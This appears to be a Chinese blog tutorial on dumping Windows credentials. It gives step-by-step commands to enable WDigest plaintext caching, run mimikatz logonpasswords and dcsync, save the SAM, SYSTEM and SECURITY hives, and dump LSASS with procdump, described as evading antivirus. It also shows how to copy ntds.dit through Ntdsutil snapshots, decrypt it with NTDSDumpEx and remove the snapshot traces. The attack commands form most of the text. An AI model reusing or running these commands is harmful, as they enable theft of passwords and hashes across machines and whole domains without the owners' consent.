# 概述

为了方便用户对资源访问时,不再会被提醒,用户在登录后,会生成很多凭证数据保存在本地安全权限服务的进程内存中(LSASS)。而我们通过将这个进程的内存导出,利用工具就能从里面读出密码来了。

凭证数据包括 NTLM 密码哈希,LM 密码哈希,或者是明文密码。而 LM 密码因为其安全性早已被微软弃用。
而当系统为 win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码,这是因为微软很早就更新了补丁来防止获取 windows 的明文密码,但是可以修改注册表开启 WDigest,等待管理员登陆后再次读取,没有做额外防护就可以直接拿到明文了。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
438db32f-aeb9-4e4b-82d4-b1bed1e1d6ac-image.png

# 本地账户密码抓取

密码抓取与获取主要使用 mimikatz,但目标机器存在杀软时,如果没有免杀手段 mimikatz 必然是落地死的。
所以我们需要将 Lsass 进程内存下载下来到本地用 mimikatz 读取。
下面主要介绍两种方式获取本地密码
①在目标机器直接跑 mimikatz
②将目标机器 lsass 内存下载下来,在本地用 mimikatz 读

# mimikatz 直接读取

Mimikatz 存在两个可选组件:
mimidrv:与 Windows 内核交互的驱动程序
mimilib:绕过 AppLocker,验证包 / SSP,密码过滤器以及用于 WinDBG 的 sekurlsa
Mimikatz 需要管理员或者 SYSTEM 权限,使用 DEBUG 权限执行某些操作,与 LSASS 进程进行交互。

读取密码

privilege::debug   #获取system权限
sekurlsa::logonpasswords  #获取本地密码

image-20220630194436622

# 导出目标 Lsass 进程内存

# 注册表导出

通过执行 reg 命令将 SAM、System、SECURITY 等文件内容导出到文件中。
以管理员权限启动 powershell 后,运行命令,只后文件会保存在 shell 当前目录下。

reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive

image-20220630194500180

然后在本地使用 mimikatz 将 hash 给弄出来

lsadump::sam /sam:sam.hive /system:system.hive

e123b7c9-58df-4a78-89ab-756ea71365bd-image.png

# procdump 工具导出

该工具是微软提供的系统维护工具,带有微软签名,所以自带免杀。原理:把 lsass 进程的内存给下载下来,然后使用 mimikatz 提取。

procdump.exe -accepteula -ma lsass.exe lsass.dmp

598871a5-7e13-4b2e-9602-7b15a00d2e65-image.png

sekurlsa::minidump lsass.dmp
log
sekurlsa::logonpasswords

2f8bc188-d910-40ed-8c9e-3589991ba46e-image.png

# 域内域密码的抓取

https://blog.csdn.net/qq_39611230/article/details/114587273
域中的账户密码采用的是集中管理而非本地模式,即密码保存在的是 DC,而不在本地,但当认证成功后,本地内存中是存在密码的。

C:\Windows\NTDS\ntds.dit 或 % SystemRoot%\NTDS 是域控中一个专属的活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。但由于系统高级用户的占用,这种重要文件用户正常情况下是无法对其进行任何操作的。想要获得域内凭证首先就是需要通过各种手段来获取此文件!

# mimikatz 直接获取域密码

privilege::debug   #获取system权限
lsadump::dcsync /domain:test.com /all /csv  #获取密码

other 命令

sekurlsa::logonpasswords # 此命令可以看到当前客户端所有用户以及域名
lsadump::dcsync /domain:域名 /all /csv 
# 利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。(和下面的导出同原理)
# 查看所有用户凭证信息
lsadump::lsa /inject

# 导出域内密码数据库,然后本地使用 mimikatz 获取

域内 hash 保存在 c:\windows\ntds\ntds.dit 中,是一个 esent 数据库,导出域内 HASH 时 需要域管权限: 获取域管权限后,因为文件实时占用,所以无法直接导出,需要使用 ShadowCopy 的方法将 ntds.dit 提取出来

#首先创建快照
Ntdsutil snapshot "activate instance ntds" create quit quit
#创建快照后会生成一个快照 ID,挂载该 ID 的快照
Ntdsutil snapshot "mount {39842c86-23d2-4084-9049-ce07926721dd}" quit quit
#快照成功挂载后会映射到一个指定目录下,接下来从该目录下拷贝对应的密码文件
Copy 'C:\$SNAP_202107241427_VOLUMEC$\windows\NTDS\ntds.dit' c:\ntds.dit
#清理快照痕迹,卸载快照
Ntdsutil snapshot "unmount {39842c86-23d2-4084-9049-ce07926721dd}" quit quit
#删除快照
Ntdsutil snapshot "delete {39842c86-23d2-4084-9049-ce07926721dd}" quit quit
#上述步骤成功获取了存有域内所有 Hash 的数据库,接下来是从域控上导出解密Key
Reg save HKLM\SYSTEM c:\sys.hiv
#使用 NTDSDumpEx 导出的 Key 解密数据库获取hash
NTDSDumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h

581ffc0f-9928-48de-9a7a-5cc8374ab023-image.png

7dee9a85-6a1f-4933-88ee-84db462de7c6-image.png

PS:前面步骤不报错就不需要这一步。
我们拿到的用户凭证文件 ntds.dit 在获取的时候文件是被占用状态,所以获取的文件可能会有一些问题,这时候我们就需要先进行一步修复操作。

# esentutl 是一个微软自带的工具,是专门用来对微软系统数据库进行一些常用操作的工具包,其中/p就代表使用修复功能
esentutl /p /o ntds.dit
更新于 阅读次数